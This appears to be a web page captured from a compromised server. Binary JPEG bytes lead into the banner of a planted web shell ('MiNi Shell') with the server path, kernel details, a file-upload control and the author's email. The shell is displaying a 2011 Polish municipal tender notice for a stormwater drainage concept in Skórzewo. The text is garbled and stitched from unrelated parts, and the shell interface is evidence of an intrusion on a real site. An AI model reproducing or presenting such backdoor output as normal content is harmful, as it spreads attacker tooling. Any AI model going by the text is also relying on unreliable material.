JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20110318/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20110318/89121-N-2011.html

<p class="kh_header"><b>Dopiewo: Opracowanie koncepcji rozwoju kanalizacji deszczowej w m. Skórzewo</b><br>
<b>Numer ogłoszenia: 89121 - 2011; data zamieszczenia: 18.03.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Dopiewo , ul. Leśna 1c, 62-070 Dopiewo, woj. wielkopolskie, tel. 0618148331 w 34, faks 061 8148092.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.dopiewo.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Opracowanie koncepcji rozwoju kanalizacji deszczowej w m. Skórzewo.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.Opis przedmiotu zamówienia. 

Przedmiotem niniejszego postępowania jest opracowanie koncepcji rozwoju kanalizacji deszczowej w m. Skórzewo, zgodnie z wymaganiami i zakresem określonym poniżej.

Wykonawca w ramach niniejszego postępowania o udzielenie zamówienia publicznego  zobowiązany jest :

1.1. Opracować koncepcję rozwoju kanalizacji deszczowej w miejscowości Skórzewo w zakresie:  sieci i urządzeń kanalizacji deszczowej tj. kanalizacji deszczowej, oraz rzek, kanałów, potoków, rowów i ustalenie przynależnych zlewni. W ramach planowanych prac inwentaryzacyjnych , przewiduje się inwentaryzację infrastruktury, a w szczególności:
- kanałów grawitacyjnych; 
- przyłączy;
- studzienek rewizyjnych;
- wpustów deszczowych;
- urządzeń podczyszczających - separatory, osadniki;
- naturalnych cieków: rzek, potoków, kanałów, rowów;
- wylotów wód deszczowych i roztopowych do odbiorników;
- charakterystykę istniejących odbiorników;
- bilans wód opadowych w gminie, w tym z podziałem na zlewnie;
- podziału na przynależne do odbiorników zlewnie ( z wyodrębnieniem kolorami );
- charakterystykę przynależnych zlewni;
- określenie powierzchni poszczególnych zlewni, z wyszczególnieniem powierzchni szczelnej dróg i parkingów, z których następuje odpływ powierzchniowy wód opadowych siecią kanalizacji deszczowej do odbiorników.


1.2. Opracowanie koncepcji kanalizacji deszczowej należy wykonać w oparciu o opracowaną inwentaryzację przy założeniu, że:
a) wody opadowe mają być sprowadzone do najbliżej położonych odbiorników, którymi są istniejące kanalizacje deszczowe, kanały, rowy melioracyjne.
b) przebiegi kanałów dostosować do przebiegu dróg wg miejscowego planu zagospodarowania.

1.3. Koncepcja powinna zawierać :
-Inwentaryzację stanu istniejącego;
-Perspektywę rozwoju - co najmniej 2 warianty rozwoju, w tym jeden w oparciu o istniejące przebiegi kolektorów głównych i wyloty, natomiast drugi bazujący na nowych trasach, nowych lokalizacjach wylotów;
-Obliczenia rurociągów kanalizacji deszczowej;
-Średnice i długości kanałów dla obu wariantów;
-Określenie kierunku spływu wód deszczowych;
-Kompleksowe opracowanie programu odprowadzenia wód deszczowych z terenów
objętych systemem kanalizacji deszczowej 
-Koncepcja powinna być dostosowana do zmiany sposobu zagospodarowania przestrzennego gminy, w oparciu o miejscowe plany zagospodarowania przestrzennego;
-Odpływ grawitacyjny, bez stosowania przepompowni sieciowych ( z wyjątkiem konieczności ich zastosowania) ;
-Przepustowość magistrali i kolektorów będzie uwzględniać zapotrzebowanie terenów istniejących terenów i terenów przeznaczonych pod zabudowę;
-Opracowanie powinno obejmować wszystkie tereny przeznaczone pod zabudowę- kanalizacja deszczowa powinna zapewnić przejęcie wód opadowych z terenu dróg, parkingów, a także przyległych nieruchomości, terenów obiektów usługowych i działalności gospodarczej;
-W trakcie realizacji systemu kanalizacji deszczowej należy zapewnić jednakową dostępność dla podłączenia poszczególnych nieruchomości;
-Koncepcja powinna uwzględniać w pierwszej kolejności istniejące wyloty wód deszczowych i przelewów burzowych do odbiorników, kolektory główne , zbiorcze oraz ich max. przepustowości, z ewentualną ich modernizacją bądź przebudową; 
-Należy przewidzieć w zależności od potrzeb w tym zakresie budowle hydrotechniczne 
( w przypadku konieczności ) na wylotach wód deszczowych do tych odbiorników;
-Projektując układ sieci kanalizacji deszczowej należy unikać przebiegów podwójnych;
-Obliczenie ilości - bilans wód opadowych ( obliczenie ilości wód opadowych należy przyjąć na podstawie danych z Państwowego Instytutu Meteorologicznego dla gminy Dopiewo z ostatnich 3 lat); 
-Uzyskanie wstępnych warunków odprowadzenia wód opadowych z właścicielami odbiorników wód;
-Ogólny opis niezbędnych budowli i urządzeń wodnych, urządzeń podczyszczających wody opadowe i roztopowe przed odprowadzeniem ich do odbiorników;
-Przełączenie istniejących ( w dobrym stanie technicznym) kanałów deszczowych do nowego układu;
-Scharakteryzować koncepcję odprowadzenia wód opadowych w poszczególnych obszarach zlewni;
-Przebiegi kanałów dostosować do przebiegu dróg wg miejscowego planu zagospodarowania; 
-Trasy kanałów, z wyszczególnieniem stanu istniejącego i jego adaptacji do poszczególnych rozwiązań na mapie zasadniczej uzbrojenia terenu w skali 1:500, 1:1000 (w zależności od obowiązującej skali pokrycia mapowego terenu );
-Założenia koncepcji przedstawić w formie graficznej na mapie sytuacyjno-wysokościowej w skali 1:2000;
-Analizę techniczno-ekonomiczną wraz z wstępnym wyliczeniem kosztów budowy , przebudowy w poszczególnych zlewniach proponowanych wariantów;
-Zestawienie zakresu rzeczowego oraz oszacowanie wskaźnikowe kosztów inwestycji z podziałem na zlewnie;
-Ustalenie kolejności kanalizowania w zakresie kanalizacji deszczowej ( etapowania );

1.4. Koncepcja rozwoju powinna być wykonana w 2 egzemplarzach w formie papierowej oraz 1 egzemplarz w formie elektronicznej na płycie CD.


1.5. Wytyczne do inwentaryzacji .

1.5.1 Kanały - 
Przy inwentaryzacji kanałów grawitacyjnych deszczowych należy uwzględnić wszystkie kanały boczne do wylotów włącznie, określając:
-lokalizację kanału i urządzeń uzbrojenia sieci; 
-długość kanału pomiędzy studniami;
-średnicę kanału pomiędzy poszczególnymi studniami; 
-kierunek odpływu;
-określenie materiału;
-studzienki zlokalizowane na kanale;
-przyłącza i wpusty deszczowe podłączone do poszczególnych kanałów;
-połączenia różnych kanałów;

1.5.2. Wpusty deszczowe -
Przy inwentaryzacji wpustów deszczowych należy podać:
-ich lokalizację na poszczególnych kanałach grawitacyjnych; 
-scharakteryzować przynależne zlewnie ( utwardzone powierzchnie terenu) ;

1.5.3. Rzeki, kanały, potoki, rowy - 
Przy inwentaryzacji rzek, kanałów, potoków, rowów należy podać:
-ich lokalizację; 
-scharakteryzować przynależne zlewnie.

1.5.4.  Wyniki inwentaryzacji infrastruktury przedstawić należy:
- na mapach zasadniczych uzbrojenia terenu w skali 1:500 1:1000, i 1:2000 
( w zależności od obowiązującej skali pokrycia mapowego terenu ) ;
-w formie opisu oraz zestawienia tabelarycznego inwentaryzowanych urządzeń.

1.5.5. Inwentaryzacje infrastruktury powinny być wykonane w 2 egzemplarzach w formie papierowej oraz 1 egzemplarz w formie elektronicznej na płycie CD .

2. Wspólny Słownik Zamówień (CPV): 
Kod CPV : 71320000-7 Usługi inżynieryjne w zakresie projektowania.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający informuje, że przewiduje możliwości udzielenia zamówień  uzupełniających stanowiących 50 % wartości zamówienia podstawowego - w trybie z wolnej ręki , zgodnie z art. 67 ust. 1 pkt. 6 Pzp .

Wspólny Słownik Zamówień (CPV): 
Kod CPV : 71320000-7 Usługi inżynieryjne w zakresie projektowania</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 71.32.00.00-7.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.06.2011.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Działalność prowadzona na potrzeby wykonania przedmiotu zamówienia nie wymaga posiadania specjalnych uprawnień</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek ten zostanie spełniony, jeżeli Wykonawca wykaże, że wykonał w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie co najmniej jedną  usługę o wartości min. 30.000,00 zł brutto polegającą  na wykonaniu koncepcji budowy kanalizacji deszczowej, lub dokumentacji  projektowej budowy kanalizacji deszczowej. 

Ocena spełniania wyżej opisanego warunku udziału w postępowaniu dokonana będzie w oparciu o złożone przez Wykonawcę w niniejszym postępowaniu dokumenty oraz oświadczenia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wykonawcy muszą udokumentować , że dysponują osobą zdolną do wykonania zamówienia tj. :
- min. 1 osobą posiadającą uprawnienia do projektowania w specjalności instalacyjnej w zakresie sieci, instalacji i urządzeń cieplnych, wentylacyjnych, wodociągowych, kanalizacyjnych i gazowych bez ograniczeń.

Zamawiający dopuszcza odpowiadające uprawnienia budowlane, które zostały wydane na podstawie wcześniej obowiązujących przepisów oraz odpowiadające uprawnienia wydane obywatelom państw Europejskiego Obszaru Gospodarczego oraz Konfederacji Szwajcarskiej z zastrzeżeniem art. 12a oraz innych przepisów Prawo budowlane (tekst jednolity Dz. U. z 2006 r. Nr 156 poz. 1118 ze zm.) oraz ustawy o zasadach uznania kwalifikacji zawodowych nabytych w państwach członkowskich Unii Europejskiej (Dz. U. z 2008 r Nr 63 poz. 394). 


Ocena spełniania wyżej opisanego warunku udziału w postępowaniu dokonana będzie w oparciu o złożone przez Wykonawcę w niniejszym postępowaniu dokumenty oraz oświadczenia.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1 .Wypełniony i podpisany formularz ofertowy z wykorzystaniem załącznika do siwz.
2. Do oferty należy dołączyć dokument lub pełnomocnictwo, z których  wynika uprawnienie osoby (osób) do składania oświadczeń woli i reprezentowania wykonawcy, jeżeli prawo to nie wynika z rejestru.
3.Wszystkie dokumenty i oświadczenia wymienione w pkt. 9 SIWZ .</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.  Zmiana postanowień niniejszej umowy wymaga zgody obu stron wyrażonej pisemnie pod rygorem nieważności.
2. Zamawiający zastrzega możliwość zmian umowy w zakresie terminu wykonania - w przypadku wystąpienia następujących zdarzeń:
a) siły wyższej nie pozwalającej na realizację umowy: termin wykonania zamówienia może ulec zmianie o okres odpowiadający wstrzymaniu lub opóźnieniu prac z tego powodu - jeżeli przy zachowaniu należytej staranności, z uwzględnieniem profesjonalnego charakteru Wykonawcy, nie można było uniknąć zmiany terminu wykonania umowy,
b) czasu trwania procedur administracyjnych, mających wpływ na termin wykonania i nie wynikających z przyczyn leżących po stronie Wykonawcy - jeżeli przy zachowaniu należytej staranności z uwzględnieniem profesjonalnego charakteru Wykonawcy nie można było uniknąć zmiany terminu wykonania umowy,
c) przyczyn zależnych od Zamawiającego - termin wykonania zamówienia lub poszczególnych etapów może ulec zmianie o okres odpowiadający wstrzymaniu lub opóźnieniu prac z tego powodu - jeżeli przy zachowaniu należytej staranności z uwzględnieniem profesjonalnego charakteru Wykonawcy nie można było uniknąć zmiany terminu wykonania umowy,
3. Strona, która zamierza żądać zwolnienia z odpowiedzialności z powodu siły wyższej zobowiązana jest powiadomić drugą Stronę na piśmie, bez zbędnej zwłoki, o jej zajściu i ustaniu.
4.   Nie stanowi zmiany umowy zmiana osób skierowanych do wykonania przedmiotu umowy i adresów wskazanych w umowie.
5. Wykonawca jest także zobowiązany do niezwłocznego zawiadomienia Zamawiającego, nie później jednak niż w terminie 3 dni, o wszelkich przeszkodach mogących spowodować niewywiązanie się przez niego z zobowiązań umownych. Wszelkie takie przeszkody winny ponadto zostać udokumentowane przez Wykonawcę wraz z określeniem daty wystąpienia przeszkody, jej charakteru oraz czasu trwania.
6.  W wypadku, gdy którekolwiek z postanowień niniejszej umowy okaże się z jakiejkolwiek przyczyny nieważne, pozostałe postanowienia niniejszej umowy pozostają w całości ważne i skuteczne. Strony zastąpią nieważne postanowienia umowy takimi postanowieniami, które z punktu widzenia ekonomicznych interesów stron będą mogły zostać uznane za porównywalne.
7. Uzasadnieniem ewentualnych zmian może być jedynie prawidłowa realizacja przedmiotu umowy lub obniżenie kosztów.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://dopiewo.nowoczesnagmina.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Gminy Dopiewo ul. Leśna 1c, 62-070 Dopiewo pok. nr 15.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 28.03.2011 godzina 11:00, miejsce: Urząd Gminy Dopiewo ul. Leśna 1c, 62-070 Dopiewo pok. nr 5 - Biuro obsługi klienta.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> 1. Zamawiający nie przewiduje zawarcia umowy ramowej. 2. Zamawiający nie przewiduje aukcji elektronicznej. 3. Zamawiający nie przewiduje zwrotu kosztów udziału w postępowaniu. 4. Udostępnienie dokumentacji postępowania odbywać się będzie po złożeniu pisemnego wniosku. Zamawiający określi termin i miejsce udostępnienia dokumentacji.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com